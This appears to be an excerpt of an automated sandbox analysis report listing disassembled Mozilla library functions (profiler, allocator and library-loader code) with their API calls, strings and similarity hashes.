Function 6C54CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C51582D), ref: 6C54CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C51582D), ref: 6C54CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C57FE98,?,?,?,?,?,6C51582D), ref: 6C54CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C51582D), ref: 6C54CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C51582D), ref: 6C54CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C51582D), ref: 6C54CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C51582D), ref: 6C54CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C54CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C54CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C54CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C54CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C54CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C54CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C54CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C54CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C54CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C54CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C54CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C54CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C54CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C54CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C54CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C54CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C54CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C54CE8A

Strings

seqstyle, xrefs: 6C54CCE6
preferencereads, xrefs: 6C54CD92
stackwalk, xrefs: 6C54CCF8
jsallocations, xrefs: 6C54CD0E
cpuallthreads, xrefs: 6C54CE16
ipcmessages, xrefs: 6C54CDBE
java, xrefs: 6C54CC37
samplingallthreads, xrefs: 6C54CE2C
audiocallbacktracing, xrefs: 6C54CDD4
mainthreadio, xrefs: 6C54CC7C
power, xrefs: 6C54CE84
Unrecognized feature "%s"., xrefs: 6C54CEA0
nostacksampling, xrefs: 6C54CD7C
fileioall, xrefs: 6C54CCA8
processcpu, xrefs: 6C54CE6E
unregisteredthreads, xrefs: 6C54CE58
notimerresolutionchange, xrefs: 6C54CE00
markersallthreads, xrefs: 6C54CE42
default, xrefs: 6C54CC21
fileio, xrefs: 6C54CC92
screenshots, xrefs: 6C54CCD4
nativeallocations, xrefs: 6C54CDA8
leaf, xrefs: 6C54CC66
noiostacks, xrefs: 6C54CCBE

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 471a9afacc57e543fb907dbd7f209546627d0f73b09a203257f717ccf775c574
Instruction ID: 7d0698f7981bc5a3fe0a979726ef6ad84ff229092ec1881a2aa596511873e9f2
Opcode Fuzzy Hash: 471a9afacc57e543fb907dbd7f209546627d0f73b09a203257f717ccf775c574
Instruction Fuzzy Hash: 1E51B8F1A0626562FA1571196D10BAA1408EFD334AF10C43AED0BA1F80FF05FA9D87B7

Function 6C5147C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C514801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C514817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C51482D
__Init_thread_footer.LIBCMT ref: 6C51484A

Part of subcall function 6C53AB3F: EnterCriticalSection.KERNEL32(6C58E370,?,?,6C503527,6C58F6CC,?,?,?,?,?,?,?,?,6C503284), ref: 6C53AB49
Part of subcall function 6C53AB3F: LeaveCriticalSection.KERNEL32(6C58E370,?,6C503527,6C58F6CC,?,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C53AB7C

GetCurrentThreadId.KERNEL32 ref: 6C51485F
GetCurrentThreadId.KERNEL32 ref: 6C51487E
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C51488B
free.MOZGLUE(?), ref: 6C51493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C514956
free.MOZGLUE(00000000), ref: 6C514960
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C51499A

Part of subcall function 6C53AB89: EnterCriticalSection.KERNEL32(6C58E370,?,?,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284), ref: 6C53AB94
Part of subcall function 6C53AB89: LeaveCriticalSection.KERNEL32(6C58E370,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C53ABD1

free.MOZGLUE(?), ref: 6C5149C6
free.MOZGLUE(?), ref: 6C5149E9

Part of subcall function 6C525E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C525EDB
Part of subcall function 6C525E90: memset.VCRUNTIME140(ewVl,000000E5,?), ref: 6C525F27
Part of subcall function 6C525E90: LeaveCriticalSection.KERNEL32(?), ref: 6C525FB2

Strings

[I %d/%d] profiler_shutdown, xrefs: 6C514A06
MOZ_PROFILER_SHUTDOWN, xrefs: 6C514A42
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C514812
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5147FC
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C514828

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: b24e3bb1561677ee7ec98e2a9010a145c133aee83954bc8ac66ccb77e66bb791
Instruction ID: 3ed46fbe3e4ff9482cbd1af091959baffd53d5cf34ebe989acd050904e33d9bb
Opcode Fuzzy Hash: b24e3bb1561677ee7ec98e2a9010a145c133aee83954bc8ac66ccb77e66bb791
Instruction Fuzzy Hash: A0811471A0A120CBEB00DF28CC9875A33B5EF4731CF162629D91697F81E731E854CB9A

Function 6C514470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C514730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5144B2,6C58E21C,6C58F7F8), ref: 6C51473E
Part of subcall function 6C514730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C51474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C5144BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C5144D2
InitOnceExecuteOnce.KERNEL32(6C58F80C,6C50F240,?,?), ref: 6C51451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C51455C
LoadLibraryW.KERNEL32(?), ref: 6C514592
InitializeCriticalSection.KERNEL32(6C58F770), ref: 6C5145A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C5145AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C5145BB
InitOnceExecuteOnce.KERNEL32(6C58F818,6C50F240,?,?), ref: 6C514612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C514636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C514644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C51466D
VerSetConditionMask.NTDLL ref: 6C51469F
VerSetConditionMask.NTDLL ref: 6C5146AB
VerSetConditionMask.NTDLL ref: 6C5146B2
VerSetConditionMask.NTDLL ref: 6C5146B9
VerSetConditionMask.NTDLL ref: 6C5146C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5146CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C5146F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C5146FD

Strings

l, xrefs: 6C514578
WRusr.dll, xrefs: 6C5144B5
NativeNtBlockSet_Write, xrefs: 6C5146F7
GXl, xrefs: 6C5144FC
kernel32.dll, xrefs: 6C5144CD
user32.dll, xrefs: 6C514557, 6C51463F

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: GXl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-1836226811
Opcode ID: 6fdb00b94e842d1de4473c7eb576d011c3158d12e4d808c2b5a8e6f7886422bd
Instruction ID: 71148b4c2371ef85996f8a81a6ce083c86270d276d650793c8faab4f3cb4ff3c
Opcode Fuzzy Hash: 6fdb00b94e842d1de4473c7eb576d011c3158d12e4d808c2b5a8e6f7886422bd
Instruction Fuzzy Hash: 7B6119B0606364AFFF00AF60CC09B9977F8EB4B30CF15A659E9049BA41D7B09985CF64

Function 6C54F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C514A68), ref: 6C54945E
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C549470
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C549482
Part of subcall function 6C549420: __Init_thread_footer.LIBCMT ref: 6C54949F

GetCurrentThreadId.KERNEL32 ref: 6C54F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C54F8F9

Part of subcall function 6C516390: GetCurrentThreadId.KERNEL32 ref: 6C5163D0
Part of subcall function 6C516390: AcquireSRWLockExclusive.KERNEL32 ref: 6C5163DF
Part of subcall function 6C516390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C51640E

ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F93A
GetCurrentThreadId.KERNEL32 ref: 6C54F98A
GetCurrentThreadId.KERNEL32 ref: 6C54F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54F716

Part of subcall function 6C5494D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5494EE
Part of subcall function 6C5494D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C549508

Part of subcall function 6C50B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C50B5E0

GetCurrentThreadId.KERNEL32 ref: 6C54F739
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F746
GetCurrentThreadId.KERNEL32 ref: 6C54F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C58385B,00000002,?,?,?,?,?), ref: 6C54F829
free.MOZGLUE(?,?,00000000,?), ref: 6C54F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C54F866
free.MOZGLUE(?), ref: 6C54FA0C

Part of subcall function 6C515E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5155E1), ref: 6C515E8C
Part of subcall function 6C515E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C515E9D
Part of subcall function 6C515E60: GetCurrentThreadId.KERNEL32 ref: 6C515EAB
Part of subcall function 6C515E60: GetCurrentThreadId.KERNEL32 ref: 6C515EB8
Part of subcall function 6C515E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C515ECF
Part of subcall function 6C515E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C515F27
Part of subcall function 6C515E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C515F47
Part of subcall function 6C515E60: GetCurrentProcess.KERNEL32 ref: 6C515F53
Part of subcall function 6C515E60: GetCurrentThread.KERNEL32 ref: 6C515F5C
Part of subcall function 6C515E60: GetCurrentProcess.KERNEL32 ref: 6C515F66
Part of subcall function 6C515E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C515F7E

free.MOZGLUE(?), ref: 6C54F9C5
free.MOZGLUE(?), ref: 6C54F9DA

Strings

" attempted to re-register as ", xrefs: 6C54F858
Thread , xrefs: 6C54F789
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C54F9A6
[D %d/%d] profiler_register_thread(%s), xrefs: 6C54F71F

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 795fc8ddf40f43489c61d6a1d167fc9af99ef706c3d4834dffd4d2568133d7ea
Instruction ID: 671da3f96f6f6045d9d0adfb6217e8931d3f3b45e287e62d80d92b5682637a66
Opcode Fuzzy Hash: 795fc8ddf40f43489c61d6a1d167fc9af99ef706c3d4834dffd4d2568133d7ea
Instruction Fuzzy Hash: E481E571A05610DFDB10DF28CC80AAAB7F5EFC5308F55865DE8459BB51EB309C49CBA2

Function 6C54EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C514A68), ref: 6C54945E
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C549470
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C549482
Part of subcall function 6C549420: __Init_thread_footer.LIBCMT ref: 6C54949F

GetCurrentThreadId.KERNEL32 ref: 6C54EE60
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54EE6D
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C54EEA5
CloseHandle.KERNEL32(?), ref: 6C54EEB4
free.MOZGLUE(00000000), ref: 6C54EEBB
GetCurrentThreadId.KERNEL32 ref: 6C54EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54EECF

Part of subcall function 6C54DE60: GetCurrentThreadId.KERNEL32 ref: 6C54DE73
Part of subcall function 6C54DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C514A68), ref: 6C54DE7B
Part of subcall function 6C54DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C514A68), ref: 6C54DEB8
Part of subcall function 6C54DE60: free.MOZGLUE(00000000,?,6C514A68), ref: 6C54DEFE
Part of subcall function 6C54DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C54DF38

Part of subcall function 6C53CBE8: GetCurrentProcess.KERNEL32(?,6C5031A7), ref: 6C53CBF1
Part of subcall function 6C53CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5031A7), ref: 6C53CBFA

GetCurrentThreadId.KERNEL32 ref: 6C54EF1E
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54EF2B
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54EF59
GetCurrentThreadId.KERNEL32 ref: 6C54EFB0
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54EFBD
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54EFE1
GetCurrentThreadId.KERNEL32 ref: 6C54EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54F000

Part of subcall function 6C5494D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5494EE
Part of subcall function 6C5494D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C549508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C54F02F

Part of subcall function 6C54F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C54F09B
Part of subcall function 6C54F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C54F0AC
Part of subcall function 6C54F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C54F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C54EED7
[I %d/%d] profiler_pause, xrefs: 6C54F008

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: a267443000d0db23af76d5c13ebdf8ada26583484e5458b2c95f037c6160fca3
Instruction ID: c401ae45f3956c2adb6be96b3658734b4cd902ef23d9f8fe514bcb258aee496d
Opcode Fuzzy Hash: a267443000d0db23af76d5c13ebdf8ada26583484e5458b2c95f037c6160fca3
Instruction Fuzzy Hash: D6511A35603230EFDB00BB64DC09BA577B8EB8B358F129716E91583B91D7755808C7EA

Function 6C53D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C58E804), ref: 6C53D047
GetSystemInfo.KERNEL32(?), ref: 6C53D093
__Init_thread_footer.LIBCMT ref: 6C53D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C58E810,00000040), ref: 6C53D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C58E7B8,00001388), ref: 6C53D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C58E744,00001388), ref: 6C53D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C58E784,00001388), ref: 6C53D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C58E7DC,00001388), ref: 6C53D1B1

Strings

Compile-time page size does not divide the runtime one., xrefs: 6C53D26D
<jemalloc>, xrefs: 6C53D268, 6C53D311
MALLOC_OPTIONS, xrefs: 6C53D0CB
: (malloc) Unsupported character in malloc options: ', xrefs: 6C53D322
MOZ_CRASH(), xrefs: 6C53D277

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: c5fd6f3343b81d1294bb7f4a6450edb43d50308703f63b6a9e7bb9de79b14241
Instruction ID: 68e810ddc7a7fa562e71fb067a8bdfd7c63e329354d079e2ed9b136332dc6bf5
Opcode Fuzzy Hash: c5fd6f3343b81d1294bb7f4a6450edb43d50308703f63b6a9e7bb9de79b14241
Instruction Fuzzy Hash: 6481DE74B122709BEF009F68CC54B6937B8EB47708F51252AE905DBB80EBB59805CBD9

Function 6C517FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C518007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C51801D

Part of subcall function 6C51CA10: malloc.MOZGLUE(?), ref: 6C51CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C51802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C51803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C51808D

Part of subcall function 6C51CA10: mozalloc_abort.MOZGLUE(?), ref: 6C51CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C51809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C5180B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C5180DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5180ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5180FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C51810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C518133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C518149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C518167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C51817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C518199

Strings

0>Tl, xrefs: 6C51811E

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>Tl
API String ID: 2721933968-1699305988
Opcode ID: d62448157873604b93d9a70c1c1616d77194e76bf32846e83cde4ddf00897a27
Instruction ID: f9ebd18539729d3bd44c1420c73b04df6291e693e4218513db2b85c5a6cc3438
Opcode Fuzzy Hash: d62448157873604b93d9a70c1c1616d77194e76bf32846e83cde4ddf00897a27
Instruction Fuzzy Hash: A751A6B2E041149BEF10DFA5DC84AEFB7B9EF89224F650525E815E7741E730AD04CBA2

Function 6C515E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

